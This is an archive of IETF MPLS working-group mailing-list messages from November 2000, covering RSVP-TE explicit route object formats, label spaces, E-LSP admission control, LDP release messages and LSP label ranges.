X-Accept-Language: en MIME-Version: 1.0 To: Gaitonde Anandprasanna Cc: mpls@UU.NET Subject: Re: Difficulty about IPv4 Prefix in Explicit route Object in RSVP-TE References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Pras: Thank you for your response. I asked this question several times. But no body provides any answer yet. I want to know the answer. Is there any good reason to design in this format ? Somebody please !!! -- Guangzhi Gaitonde Anandprasanna wrote: > This qeustion was asked by some person earlier but somehow i did not see > the answers in the mailing lists. If i have missed the answer then please > provide pointers to mail archives. > > I wanted to know why the format of the IPv4 Prefix is that way: > > RSVP ERO subobject IPv4 address:- > > In RSVP-TE, the format of subobject 1: IPv4 address (4.4.1.1) is > > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > Type | Length | IPv4 address > ----------------------------------------------------------------- > IPv4 address | Prefix Length | > Flags > ------------------------------------------------------------------ > > Can somebody explain to me: What is the advantage to split the IPv4 > address in two words? From the > implementation point of view, it should be much easy to put IPv4 address > in a single word. > > Thanx in advance > > Pras From owner-mpls@UU.NET Mon Nov 27 09:50:28 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA01985 for ; Mon, 27 Nov 2000 09:50:28 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdb20901; Mon, 27 Nov 2000 14:48:26 GMT Received: by mail-control.mail.uu.net id QQjrdb23979 for mpls-outgoing; Mon, 27 Nov 2000 14:48:03 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdb23965 for ; Mon, 27 Nov 2000 14:47:44 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrdb26890 for ; Mon, 27 Nov 2000 14:46:42 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjrdb18073 for ; Mon, 27 Nov 2000 14:46:41 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id GAA17796 for ; Mon, 27 Nov 2000 06:46:36 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA07417 for mpls@uu.net; Mon, 27 Nov 2000 09:46:30 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqol27611 for ; Thu, 23 Nov 2000 15:53:54 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqol00068 for ; Thu, 23 Nov 2000 15:53:19 GMT Received: from nwcst334.netaddress.usa.net by cmr0.ash.ops.us.uu.net with SMTP (peer crosschecked as: nwcst334.netaddress.usa.net [204.68.23.79]) id QQjqol15634 for ; Thu, 23 Nov 2000 15:53:18 GMT Received: (qmail 12351 invoked by uid 60001); 23 Nov 2000 15:53:17 -0000 Message-ID: <20001123155317.12350.qmail@nwcst334.netaddress.usa.net> Received: from 204.68.23.79 by nwcst334 for [194.151.52.201] via web-mailer(34FM.0700.4.03) on Thu Nov 23 15:53:17 GMT 2000 Date: 23 Nov 00 16:53:17 MET From: eduard metz To: Juha Heinanen , eduard metz Subject: Re: [FW: ce range in l2 mpls vpns ] CC: kireeti@juniper.net, mpls@UU.NET, e.t.metz@kpn.com X-Mailer: USANET web-mailer (34FM.0700.4.03) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA01985 juha, i think we agree ... the mapping you describe (vpi to sub-interface, and thereby creating a relation between sub-interface and remote-site), is what i mean with "alignment of pe/ce configuration". since the pe applies specific logic in the way it connects local ce-pe circuits to remote sites, you have to be aware of this logic when configuring the vpi to sub-interface mapping. adding more scenarios for some common cases to the draft could help explain this. cheers, eduard Juha Heinanen wrote: eduard metz writes: > however, there > are many situations in which this is not the case. for example: when > the network is treated as a collection of point-to-point links (with > individual /30s), or when the network is native l2 ... > in these cases some alignment / coordination between pe and ce > configuration is required. you need to know which circuit is > connected to which site to end up with a correct, and working > configuration. this too can and has been automated at least in case of atm. you simply have one-to-one mapping between subinterface numbers and vpi numbers and then when the ce learns a new label, it knows which subinterface it belongs to based on its vpi component. the same can be done with native mpls by using label stacking: the outer label selects the vpn and the inner label determines a site within that vpn. it doesn't matter if a "vnp" has many sites or if it is just a point to point link. -- juha ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 From owner-mpls@UU.NET Mon Nov 27 09:51:36 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA02366 for ; Mon, 27 Nov 2000 09:51:36 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdb17041; Mon, 27 Nov 2000 14:49:03 GMT Received: by mail-control.mail.uu.net id QQjrdb24002 for mpls-outgoing; Mon, 27 Nov 2000 14:48:24 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdb23990 for ; Mon, 27 Nov 2000 14:48:19 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdb24963 for ; Mon, 27 Nov 2000 14:47:38 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjrdb14775 for ; Mon, 27 Nov 2000 14:47:33 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id GAA04724 for ; Mon, 27 Nov 2000 06:47:34 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA07427 for mpls@uu.net; Mon, 27 Nov 2000 09:47:32 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqti18471 for ; Fri, 24 Nov 2000 23:40:21 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqti21575 for ; Fri, 24 Nov 2000 23:39:57 GMT Received: from nero.doit.wisc.edu by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: nero.doit.wisc.edu [128.104.17.130]) id QQjqti05953 for ; Fri, 24 Nov 2000 23:39:56 GMT Received: (from jleu@localhost) by nero.doit.wisc.edu (8.8.7/8.8.7) id RAA06229; Fri, 24 Nov 2000 17:39:25 -0600 Date: Fri, 24 Nov 2000 17:39:25 -0600 From: "James R. Leu" To: Shahram Davari Cc: "'James_Huang@Mitel.COM'" , mpls@UU.NET Subject: Re: Label space of a label advertised through MPLS-BGP Message-ID: <20001124173925.E5623@doit.wisc.edu> Reply-To: jleu@mindspring.com References: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A73@BBY1EXM01> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A73@BBY1EXM01>; from Shahram_Davari@pmc-sierra.com on Thu, Nov 23, 2000 at 11:32:39AM -0800 Organization: none Sender: owner-mpls@UU.NET Precedence: bulk Hello Shahram, On Thu, Nov 23, 2000 at 11:32:39AM -0800, Shahram Davari wrote: > Hi James, > > When two peer LSRs are not directly connected to each other you should use > per-platform label space. Also note that any label that has been drawn from > the per-platform label space should not be used any more by the > per-interface label spaces. By observing this rule, B can unambiguously > interpret the per-platform label even in the presence of PHP. I'm not sure I agree. If I understand what your saying, every label that is allocated from the per-platform label space is also marked as un-usable in the per-interface label spaces? This defeats the purpose of a per-interface label space. One of the reasons that per-interface label spaces were introduced is so that ATM and FR interfaces would only allocated label values for LSPs that it was going to use. Thus allowing them to stretch there limited number of VCs or DLCIs farther. By doing as you suggest your "wasting" label values. I have a solution, which many will probably dis-agree with, but dis-agreeing with Shahram and not providing an alternative is pretty foolish :-) When allocating an N level label (where N is > 1) it should be allocated from the same label space as all of the N-1 labels that may possible tunnel this label. When N = 1, the value should be allocated from the label space associated with the set of possible interfaces that will receive this label. This assumes that any service allocating N level labels MUST know the set of LSPs in which it's label values will have meaning. When N = 1 the service MUST know what set of interfaces its label values will have meaning. In the current drafts the only way to have multiple interfaces sharing the same label space is for them to all be assigned to the per-platform label space. To do this box wide though, could be opening the box up to security issues (think spoofed MPLS packets). I suggest adding a new label space type. By allowing multiple interface that are used to deliver the same service to share a label space you can create per-service label spaces. The more specific the service definition the tighter control over labels and who uses them, thus decreasing the security concerns, but still maintain varying levels of flexibility. Of course the most flexible is the per-platform label space, but it also carries the greatest security concern. The least flexible is the per-interface label space, but only minimal security concerns. The per-service label space fills in the middle ground. Some examples may help to illustrate: -All of the interfaces that will terminate backbone LSPs could be assigned to a per-service label space. Any label allocated from this label space is valid on any of the interfaces in this set. Therefore no mater how any of the LSPs re-routes within this set of interface no new allocations need to be made. Plus any N level service running over these backbone LSPs need only allocate labels from the same per-service label space. -All of the interfaces that will terminate inter-VPN LSPs for a particular VPN would be assigned to a per-service label space. BGP (for this VPN) would allocated labels in this same per-service label space. -All of the interfaces facing the CEs for a VPN running MPLS would be assigned to the same per-service label space. Anyone else have any suggestions? Jim > Regards, > -Shahram > > > -----Original Message----- > > From: James_Huang@Mitel.COM [mailto:James_Huang@Mitel.COM] > > Sent: Wednesday, November 22, 2000 3:12 PM > > To: mpls@UU.NET > > Subject: Label space of a label advertised through MPLS-BGP > > > > > > Hi All, > > Suppose two LSRs A and B are BGP peers and are not > > directly adjacent. When > > the egress LSR (B) advertises a FEC and the corresponding > > lable to the ingree > > LSR (A), in which label space should the advertised label > > reside? Should B > > always use its per-platform label space in this situation? > > When B receives a > > labeled packet in the FEC routed through A, how can B > > unambiguously interpret > > the label (assuming PHP is used)? See figure8.4 of Bruce > > Davie's book on MPLS > > for example of this scenario. > > > > Thanks for your answer. > > > > -- James Huang > > > > > > -- James R. Leu From owner-mpls@UU.NET Mon Nov 27 10:51:10 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA20265 for ; Mon, 27 Nov 2000 10:51:09 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdf22355; Mon, 27 Nov 2000 15:48:38 GMT Received: by mail-control.mail.uu.net id QQjrdf11524 for mpls-outgoing; Mon, 27 Nov 2000 15:47:50 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdf11508 for ; Mon, 27 Nov 2000 15:47:34 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrdf03863 for ; Mon, 27 Nov 2000 15:47:13 GMT Received: from thumper.research.telcordia.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: thumper.research.telcordia.com [128.96.41.1]) id QQjrdf17302 for ; Mon, 27 Nov 2000 15:47:12 GMT Received: from monday.research.telcordia.com (monday [192.4.16.50]) by thumper.research.telcordia.com (8.10.1/8.10.1) with ESMTP id eARFlBa01316; Mon, 27 Nov 2000 10:47:11 -0500 (EST) Received: from monday (monday.research.telcordia.com [192.4.16.50]) by monday.research.telcordia.com (8.8.8/8.8.8) with SMTP id KAA00481; Mon, 27 Nov 2000 10:47:11 -0500 (EST) Message-Id: <200011271547.KAA00481@monday.research.telcordia.com> Date: Mon, 27 Nov 2000 10:47:11 -0500 (EST) From: Ritu Chadha Reply-To: Ritu Chadha Subject: new Version of MPLS draft submitted To: policy@raleigh.ibm.com Cc: mpls@UU.NET, chadha@mailee.research.telcordia.com MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: qXgnriX+kboVtFcC3kwM0w== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc Sender: owner-mpls@UU.NET Precedence: bulk The draft below is currently available via anonymous ftp from ftp.research.telcordia.com at /pub/world/chadha/draft-chadha-policy-mpls-te-01.txt Ritu ------------- Begin Forwarded Message ------------- Date: Fri, 24 Nov 2000 17:52:05 +0100 From: Marcus Brunner X-Accept-Language: en,de Mime-Version: 1.0 To: Policy Mailing List Subject: new Version of MPLS draft submitted Content-Transfer-Encoding: 7bit We would like to announce a new version of the MPLS policy draft. "Policy Framework MPLS Information Model for QoS and TE" It is a combination of "Policy Framework QoS Information Model for MPLS" and "Policy Information Model for MPLS Traffic Engineering" Marcus -- Dr. Marcus Brunner C&C Research Laboratories NEC Europe Ltd. E-Mail: brunner@ccrle.nec.de WWW: http://www.ccrle.nec.de/ personal home page: http://www.tik.ee.ethz.ch/~brunner Adenauerplatz 6 D-69115 Heidelberg Germany Phone: +49 (0)6221/ 9051129 Fax: +49 (0)6221/ 9051155 ------------- End Forwarded Message ------------- ============================================================================= Ritu Chadha Director Service Management Research Telcordia Technologies (973) 829-4869 (voice) MCC 1J-218R (973) 829-5889 (fax) 445 South Street chadha@research.telcordia.com Morristown NJ 07960. ============================================================================= From owner-mpls@UU.NET Mon Nov 27 11:15:17 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA28699 for ; Mon, 27 Nov 2000 11:15:16 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdg29297; Mon, 27 Nov 2000 16:13:09 GMT Received: by mail-control.mail.uu.net id QQjrdg23516 for mpls-outgoing; Mon, 27 Nov 2000 16:12:32 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdg23465 for ; Mon, 27 Nov 2000 16:12:26 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdg12370 for ; Mon, 27 Nov 2000 16:12:05 GMT Received: from hoemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: hoemail2.lucent.com [192.11.226.163]) id QQjrdg27708 for ; Mon, 27 Nov 2000 16:12:05 GMT Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id LAA02589 for ; Mon, 27 Nov 2000 11:12:04 -0500 (EST) Received: from mvmail.mv.lucent.com (h135-13-96-58.lucent.com [135.13.96.58]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id LAA02581; Mon, 27 Nov 2000 11:12:04 -0500 (EST) Received: from lucent.com (ma0940xuyg.mv.lucent.com [135.13.36.111]) by mvmail.mv.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id LAA09960; Mon, 27 Nov 2000 11:12:03 -0500 (EST) Message-ID: <3A2287D2.7D30AF01@lucent.com> Date: Mon, 27 Nov 2000 11:12:02 -0500 From: Yangguang Xu Organization: Lucent Technologies, Inc. X-Mailer: Mozilla 4.7 [en]C-EMS-1.4 (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: Peter Ashwood-Smith CC: "Lipovetsky, Sergey" , "'mpls@uu.net'" Subject: Re: draft-ietf-mpls-generalized-signaling-00 questions References: <3A1D44EE.9E4EB5C6@americasm01.nt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit > > Will 0x0903 be used for the Waveband Label? > > > > How can a downstream LSR know that a waveband allocation is requested? > > By context. There is almost no difference between lambda and lambda > band as far as tandem LSRs are concerned. > This may be true in the signaling "implementation" point of view and only in case of some pure OXCs (no OEO). Depending on different technologies, even pure OXC may need to differentiate lambda and lambda band. They have different optical domain requirements. In the functional point of view, they are quite different. In OTN, Lambda is in OCh layer, lambda band is in OMS layer. Waveband LSPs and lambda LSPs are created at different time and for different reasons. Waveband paths might be set up as tunnels (or FA) for OCh connections. Yangguang From owner-mpls@UU.NET Mon Nov 27 11:19:27 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA00121 for ; Mon, 27 Nov 2000 11:19:26 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdh00916; Mon, 27 Nov 2000 16:17:01 GMT Received: by mail-control.mail.uu.net id QQjrdh26070 for mpls-outgoing; Mon, 27 Nov 2000 16:16:20 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdh25994 for ; Mon, 27 Nov 2000 16:16:07 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrdh02001 for ; Mon, 27 Nov 2000 16:15:34 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrdh06570 for ; Mon, 27 Nov 2000 16:15:33 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA25435 for mpls@uu.net; Mon, 27 Nov 2000 11:15:32 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdh25718 for ; Mon, 27 Nov 2000 16:15:02 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrdg17069 for ; Mon, 27 Nov 2000 16:14:08 GMT Received: from procyon.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: procyon.pmc-sierra.bc.ca [134.87.115.1]) id QQjrdg04354 for ; Mon, 27 Nov 2000 16:14:08 GMT Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by procyon.pmc-sierra.bc.ca (6.6.6/6.6.6) with ESMTP id IAA00961; Mon, 27 Nov 2000 08:11:44 -0800 (PST) Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 08:11:46 -0800 Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6010C9A82@BBY1EXM01> From: Shahram Davari To: "'Daniel N. Bauer'" , brunner@ccrle.nec.de Cc: Simeone Mastropietro , mpls@UU.NET Subject: RE: E-LSP or L-LSP Date: Mon, 27 Nov 2000 08:11:45 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi Daneil, With all due respect, I don't think that your mentioned approach will work efficiently. First of all it is not reasonable to expect all routers to have exactly the same BW assignment per PHB. Secondly, it is also not reasonable to expect an E-LSP to carry traffic in proportion to their PHB assignments in the routers. My understanding of using the E-LSP aggregate BW for admission control is as follows: During an E-LSP setup, the aggregate BW of all supported PHBs is signaled. If all the routers in the path, have sufficient BW, the E-LSP is admitted. Now at the ingress to this E-LSP, the ingress router could do a separate admission control for each supported BA that is using the mentioned E-LSP (note this is independent of the E-LSP admission control). In other words there are two phases to the admission control, one for the whole E-LSP and another one for the traffic that is going to use that E-LSP. This is very similar to the Aggregate RSVP admission control (check ISSL WG for more information). Regards, -Shahram > For an E-LSP, the aggregate bandwidth is known. This > aggregate bandwidth > corresponds to the sum of bandwidths that are requested for > each PHB class > that are carried inside the E-LSP. In case that the > distribution of the > PHB classes is known, then admission control could be carried out. > In networks where resources are pre-allocated per PHB class > and where this is done consistently on all LSR, then the distribution > of the pre-allocated resources can be used to carry out > admission control > per E-LSP. > > For example, consider the following distribution: > EF gets 5%, AF1.x gets 10%, AF2.x gets 20%, AF3.x gets 20%, > AF4.x gets 20%; > meaning that on a 100Mbit/s link, EF could reserve up to 5 > Mbit/s, AF1.x up > to 10Mbit/s, etc. etc. > > If now an E-LSP requests 7 Mbit/s and this E-LSP carries EF, > AF1.x and AF3.x > traffic, then the 7 Mbit/s could be split up and assigned to > the classes > as follows: > EF - 1 Mbit/s > AF1.x - 2 Mbit/s > AF3.x - 4 Mbit/s > according to the 'weights' of the resource distribution. > Then, admission control for each class could be done > seperately. The E-LSP > could be admitted if all of the admission control checks succeed. > > Does this sound reasonable? > > Of course, the whole scheme does not work if the > pre-allocated resource distribution > is not consistent amont all LSR routers. > > Best regards, > > -Daniel > > > > Marcus Brunner wrote: > > > > Shahram, > > > > In many scenarios, the admission control for a PBH > scheduling classes is > > already fuzzy, which means on a statistical level, you will run into > > trouble if you want to do admission control for aggregates > of different > > PHB classes. > > > > Marcus > > > > Shahram Davari wrote: > > > > > > Hi Daniel, > > > > > > You can do admission control for E-LSP too. But the > admission control is done for the aggregate of all supported > PHBs in that LSP. > > > > > > Regards, > > > -Shahram > From owner-mpls@UU.NET Mon Nov 27 11:38:55 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06102 for ; Mon, 27 Nov 2000 11:38:54 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdi27829; Mon, 27 Nov 2000 16:35:36 GMT Received: by mail-control.mail.uu.net id QQjrdi28396 for mpls-outgoing; Mon, 27 Nov 2000 16:35:11 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrdi28381 for ; Mon, 27 Nov 2000 16:35:01 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdi00396 for ; Mon, 27 Nov 2000 16:34:37 GMT Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.197.140.35]) id QQjrdi00566 for ; Mon, 27 Nov 2000 16:34:35 GMT Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Mon, 27 Nov 2000 22:07:57 +0530 Received: from mohanvak (mohanvak.future.futsoft.com [10.0.6.52]) by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id eARGZ4W26922; Mon, 27 Nov 2000 22:05:04 +0530 Received: by localhost with Microsoft MAPI; Mon, 27 Nov 2000 21:56:02 +1100 Message-Id: <01C058BC.D59854C0.mohanvak@future.futsoft.com> From: Mohan Varma K Reply-To: "mohanvak@future.futsoft.com" To: "'Bob Thomas'" Cc: "mpls@UU. NET" Subject: Status TLV handling in Ldp Release message Date: Mon, 27 Nov 2000 21:56:02 +1100 Organization: FSPL X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-mpls@UU.NET Precedence: bulk Hi Bob Thomas, As per LDP-07 draft it's mentioned that if a loop is detected in the mapping message,then the status TLV must be appended to the release message. My doubt is if the status TLV is appended to the release message for the loop detected case in the map message, is it necessary to forward down to the egress in the ordered control mode. i.e Is the forward bit has to be set in the status code?? In the case of independent mode for the condition above the label with draw will be sent upstream . Is there any status TLV to be appended for this with draw message sent upstream. As far as implementation we feel that it would be better to treat messages other than Notif message with status TLV's to be handled by well defined events under appropriate LSP states. Looking for your valuable inputs, Thanks in advance, with regards Mohan Varma From owner-mpls@UU.NET Mon Nov 27 11:51:13 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA09050 for ; Mon, 27 Nov 2000 11:51:12 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdj22371; Mon, 27 Nov 2000 16:49:04 GMT Received: by mail-control.mail.uu.net id QQjrdj29908 for mpls-outgoing; Mon, 27 Nov 2000 16:48:41 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdj29903 for ; Mon, 27 Nov 2000 16:48:36 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrdj03477 for ; Mon, 27 Nov 2000 16:47:11 GMT Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjrdj26726 for ; Mon, 27 Nov 2000 16:47:11 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA20854 for ; Mon, 27 Nov 2000 11:47:09 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA27908 for ; Mon, 27 Nov 2000 11:47:09 -0500 (EST) Message-ID: <3A229035.8F637351@marconi.com> Date: Mon, 27 Nov 2000 11:47:49 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls@UU.NET Subject: Re: LSP life time References: <4.3.2.7.2.20001124093734.00ae4b80@bulkrate.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Jeremy Lawrence wrote: > > It is effectively unlimited. If a single extra level of labelling > is used inside the LSP, 1M LSPs can be carried inside an LSP. Possibly more than that, depending on what kind of links the LSP is traversing. The 20-bit label size is the generalized label used when sending labeled traffic over packet-oriented links (like POS). When sending over connection-oriented links (like ATM or frame relay), the label is the link's connection identifier (VPI/VCI or DLCI), and its range is subject to the restrictions imposed by that technology. This range may be larger than 20 bits. -- David From owner-mpls@UU.NET Mon Nov 27 11:59:50 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA11007 for ; Mon, 27 Nov 2000 11:59:50 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrdj12443; Mon, 27 Nov 2000 16:57:34 GMT Received: by mail-control.mail.uu.net id QQjrdj00446 for mpls-outgoing; Mon, 27 Nov 2000 16:57:01 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrdj00441 for ; Mon, 27 Nov 2000 16:56:57 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdj00944 for ; Mon, 27 Nov 2000 16:56:14 GMT Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjrdj03310 for ; Mon, 27 Nov 2000 16:56:14 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA21965; Mon, 27 Nov 2000 11:56:07 -0500 (EST) Received: from 